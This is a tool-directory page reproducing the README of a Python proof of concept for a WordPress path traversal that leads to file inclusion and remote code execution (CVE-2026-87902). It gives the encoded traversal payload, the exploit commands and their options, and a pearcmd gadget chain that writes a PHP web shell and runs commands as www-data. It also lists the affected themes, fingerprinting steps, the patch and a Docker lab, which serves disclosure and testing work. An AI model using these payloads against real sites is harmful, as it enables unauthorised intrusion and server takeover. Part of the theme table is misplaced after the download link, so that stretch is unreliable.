Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-87902 — Python PoC for CVE-2026-87902, an unauthenticated WordPress path traversal RCE via get_page_template(), with version fingerprinting, theme checks, and optional file inclusion. | Kitploit
Tools/GitHubGitHub/vulpecuna/cve-2026-87902
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolLabs & Practice
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

Python PoC for CVE-2026-87902, an unauthenticated WordPress path traversal RCE via get_page_template(), with version fingerprinting, theme checks, and optional file inclusion.

31522h 55m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-87902

AdvisoryGHSA-7hp8-65ch-5whp
ProductWordPress <= 7.1.1, fixed in 7.1.2; both versions tested
Sinkwp-includes/template.php, get_page_template()
Causethe candidate built from pagename is not passed through validate_file()
Actoranonymous, no account, no cookie, no CSRF token
Methodsingle GET, two parameters
Effectarbitrary on-disk .php included and executed in the WordPress process
Escalationremote command execution where the PEAR gadget is exploitable, see PHP and escalation
Writes to targetnone with the default --include
Reproduced here6 releases, 7 themes, 4 PHP versions

Request

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> is the page- directory, the traversal and the target, with every dot and slash doubly encoded:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
FieldRole
pagenamethe payload. WP_Query runs it through sanitize_title_for_query(), which rewrites a literal dot to a dash but preserves percent-encoded octets. get_page_template() then calls urldecode() to decode the result into a path
page_idany published page, so the query matches a post instead of returning a 404. Without it the page template is never loaded

Core builds page-{urldecode($pagename)}.php and resolves it against the stylesheet directory. Encoding is required: sanitize_title_for_query() rewrites a literal .. to -.

Preconditions

#ConditionWhy
1active theme ships a top-level page-* directorythe name is page-{payload}.php, so its first segment must resolve on disk
2one published page that is neither the front page nor the posts pageis_front_page and is_home are tried before is_page
3target file ends in .phpcore appends the extension

No uploaded content, no change to the site configuration, the theme or the core.

All 26 affected themes call the directory page-templates. poc.py takes the name from themes.json, assumes page-templates for a theme that is not in it, and --root overrides with a comma-separated list.

Windows hosts drop precondition 1. Win32 cancels .. lexically, so a segment that does not exist is still cancelled by the .. after it.

PathResult
C:\...\wordpress\page-nothing\..\README.mdexists
C:\...\wordpress\page-nothing\README.mddoes not exist

Tested with os.stat on Windows 11, which uses the same Win32 path handling as PHP's file_exists(). WordPress itself was not run on Windows.

Usage

Check, the default

Identifies the theme and the two versions, then asks whether the page-* directory exists. Nothing is included or executed.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
Answer on page-<root>/Reading
200the directory is there and lists
404no such directory
403inconclusive, so one control request for page-<8 random hex>/ follows
403 then control 404the refusal was about existence, the directory is there
403 then control refusedthe server rejects whatever it is asked, exit 4

Affected requires both: the directory exists, and the version is at or below 7.1.1.

Exploit

Runs the check first, then includes the file unless the check ruled the target out.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

A rendered theme template always references /wp-content/themes/ through wp_head(), an included file from outside the theme does not. That is the verdict rule.

Options

OptionDefaultEffect
--target URLrequireddeployment under test
--exploitoffinclude a file after the check
--include PATHwp-admin/install.phpthe .php to include. Relative paths resolve from the WordPress root, absolute paths climb with --depth
--depth N7../ hops for an absolute --include
--root NAME[,NAME]from themes.jsonthe page-* directories to try, without the page- prefix
--page-id IDdiscoveredskip page discovery
--theme SLUGdiscoveredskip the theme lookup
--theme-version Vdiscoveredskip the theme version lookup
--no-versionoffmake no request whose only purpose is to learn a version
--core-json PATHcore.jsonrelease fingerprints, read only when nothing disclosed a version
--traceoffprint every exchange
--jsonoffone JSON object, nothing else
--yesoffskip the confirmation
CodeCheckExploit
0affecteda .php outside the theme was included
1not affectednot included
2no answer, or the answer is not WordPresssame
3usage, or declined at the confirmationsame
4inconclusive, see the 403 and 7.1.x casesnot used

The default --include is wp-admin/install.php: in every WordPress, output unmistakable, changes nothing.

TLS certificates are not verified. Expired, self-signed and hostname-mismatched ones are accepted.

Version fingerprinting

Tried in order, stopping at the first that answers.

SourceCostOn 7.1.1
generator meta on the home pagefreeexact version
?ver= on a /wp-includes/ assetfreeexact version
/?feed=rss21 requestexact version
/wp-links-opml.php1 requestexact version
sha256 of a served asset against core.json1 requestthe set of releases shipping those bytes

core.json covers the 112 published releases and 7.1.2, four assets each. Crossing them names 9 releases exactly and leaves a median of 4 candidates. Affected requires every candidate to be at or below 7.1.1.

7.1.1 and 7.1.2 cannot be told apart from outside. The three files that differ are wp-admin/about.php, wp-includes/template.php and wp-includes/version.php, none of them served. A 7.1.x site that hides its version gets exit 4.

Themes

The 200 most-installed themes on wordpress.org. 26 ship a page-* directory and are affected, together 765,500 of 9,027,090 active installs. The other 174 fail precondition 1.

ThemeVersionInstallspage-*StatusConfirmed
neve4.2.11200,000page-templates🔴 affectedlab
sydney2.7180,000page-templates🔴 affectedlab
hestia3.3.670,000page-templates🔴 affectedlab
inspiro2.2.360,000page-templates🔴 affectedsurvey
colibri-wp1.0.16950,000page-templates🔴 affectedsurvey
twentyfourteen4.650,000page-templates🔴 affectedlab
twentytwelve4.950,000page-templates🔴 affectedlab
colormag4.2.540,000page-templates🔴 affectedlab
zakra4.3.330,000page-templates🔴 affectedsurvey
spacious1.9.1220,000page-templates

lab means tested end to end with poc.py against a stock image, survey means the directory was read out of the theme archive and the theme was not stood up.

Tested and unaffected, none of them carrying a page-* directory: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php, shipped by hestia, neve and others, does not change affectedness. It only rules out the front page's ID for the request.

Versions

ReleaseImage default themeWith an affected themeConfirmed
7.1.2🟢 not affected, twentytwentyfive🟢 not affected, nevelab
7.1.1🟢 not affected, twentytwentyfive🔴 affected, nevelab
7.1.0🟢 not affected, twentytwentyfive🔴 affected, nevelab
7.0.4🟢 not affected, twentytwentyfive🔴 affected, nevelab
6.8.3🟢 not affected, twentytwentyfive🔴 affected, nevelab
6.1.0🟢 not affected, twentytwentythree🔴 affected, twentytwelvelab
4.9.8🟢 not affected, twentyseventeen🔴 affected, twentytwelvelab
the 105 other releasesnot measurednot measurednot measured
Theme versionnot a precondition, the page-* directory is. neve 4.2.11 was used on 6.8.3 and above, twentytwelve 4.9 on the two older cores
7.1.2no published image. Tested with lab/run.py --core 7.1.2, which applies the official release archive over 7.1.1-apache
Out of the boxno release from 4.1 on is affected. twentyfifteen through twentytwentyfive carry no page-* directory. twentyfourteen and twentytwelve do, and were the defaults of 3.8 to 4.0 and of 3.5, for which no image is published
Not pullable15 of the 112 published tags: 14 older than 4.5.3-apache use a v1 manifest containerd 2.1 rejects, and 4.5.3-apache has a layer the registry cannot serve

PHP variants published per release, which decide the escalation below:

WordPress releasesPHP variants published as -apache
4.1.x to 4.5.xnone, plain tag only, 5.6
4.6.x to 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x to 5.5.x7.1 7.2 7.3 7.4
5.6.x to 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x to 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x and 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x and 7.1.x8.2 8.3 8.4 8.5

PHP and escalation

File inclusion succeeds on all four images and pearcmd.php is present in each. Command execution through the gadget needs register_argc_argv on, which the php8.5 image turns off.

ImagePHPregister_argc_argv
$_SERVER['argv']
RCE via pearcmd.phpConfirmed
7.1.1-php8.2-apache8.2.33On, populated🔴 uid=33(www-data)lab
7.1.1-apache8.3.33On, populated🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25On, populated🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10Off, null🟢 not reachedlab

Read through apache2handler, not the CLI, which forces the setting on. The two requests behind the RCE column:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py includes a file, it does not drive the gadget. Reach it with --include /usr/local/lib/php/pearcmd.php --depth 7. No gadget other than pearcmd.php was looked for on the 8.5 image.

Fix

Read out of wordpress-7.1.2.zip. Two changes.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

The first fixes the vulnerable branch, the second checks every resolved template path whatever produced it. Tested: on 7.1.2 with neve active and page-templates present, the same request renders the theme's own page, 55,084 bytes, instead of the installer.

A second route exists on 7.1.1 and earlier:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
How it differsdiverts WP_Query into its post_name branch, which never rewrites pagename, so a literal .. works
What it needsa theme without single.php, because is_single is tried before is_page
Tested on7.1.1 with bloghash
Why it is hereit survives a fix hardening the sanitiser alone. The containment check above closes it too

Lab

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
Per row
Imageofficial wordpress:<tag>, unmodified
Isolationown container, own port, own database in the shared MariaDB
Installover HTTP through wp-admin/install.php, so no version needs a matching wp-cli
Stateas the installer leaves it, one published page, nothing uploaded
Driven withpoc.py --exploit, so a row measures inclusion and not appearance
OptionDefaultEffect
--jobs N2rows in parallel
--theme SLUG[@VERSION]noneinstall and activate on every row
--core VERSIONnoneapply that official release over the image's core, which is how a release with no image is run
--keepoffleave the instances up, admin password printed at the end
--pruneoffdelete images this run pulled
--port-base N8110first port, one per row, 127.0.0.1 only
--db-imagemariadb:10.6database image
--timeout N180seconds a container gets to answer
--out PATHlab/results.jsonper-row detail

Exit codes: 0 every row measured, 1 at least one was not, 2 Docker absent or nothing to run, 3 usage or declined. A WordPress image is 600 MB to 1.1 GB, so --all without --prune is tens of GB.

.github/workflows/lab.yml runs four rows on every change to the PoC or the lab, and weekly: an affected theme on 7.1.1 and on 6.8.3, the image default theme, and the php8.5 variant. Each asserts its expected exit code.

References

AdvisoryGHSA-7hp8-65ch-5whp
Write-uphttps://ressl.ch/blog/cve-2026-87902-wordpress/
Another PoChttps://github.com/ressl/cve-2026-87902-poc

Two ideas taken from that PoC, both tested here first:

IdeaKeptTested
/index.php?rest_route= and /wp-json/ as fallback routes for the page listingyesdiscovery succeeds through one of the three
prefer a page with no page template of its own, since get_page_template() tries that template firstyes, as an orderingforcing a page that carries one still reproduced on 7.1.1, so it costs a request at worst

Files

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

Requirements: Docker, Python 3.8+, no third-party packages.

Download Tool
🔴 affected
survey
hueman3.7.2720,000page-templates🔴 affectedsurvey
bloghash1.0.3010,000page-templates🔴 affectedlab
botiga2.4.910,000page-templates🔴 affectedsurvey
tutorstarter4.0.310,000page-templates🔴 affectedsurvey
mesmerize1.6.18710,000page-templates🔴 affectedsurvey
flash1.4.1210,000page-templates🔴 affectedsurvey
shapely1.3.610,000page-templates🔴 affectedsurvey
silverstorm1.0.368,000page-templates🔴 affectedsurvey
prespa1.7.88,000page-templates🔴 affectedsurvey
hybridmag1.1.46,000page-templates🔴 affectedsurvey
chromenews6.2.105,000page-templates🔴 affectedsurvey
morenews4.3.105,000page-templates🔴 affectedsurvey
newsexo9.12,000page-templates🔴 affectedsurvey
reviewnews2.0.51,000page-templates🔴 affectedsurvey
the8-shop-dark1.0.5400page-templates🔴 affectedsurvey
newsonline0.6100page-templates🔴 affectedsurvey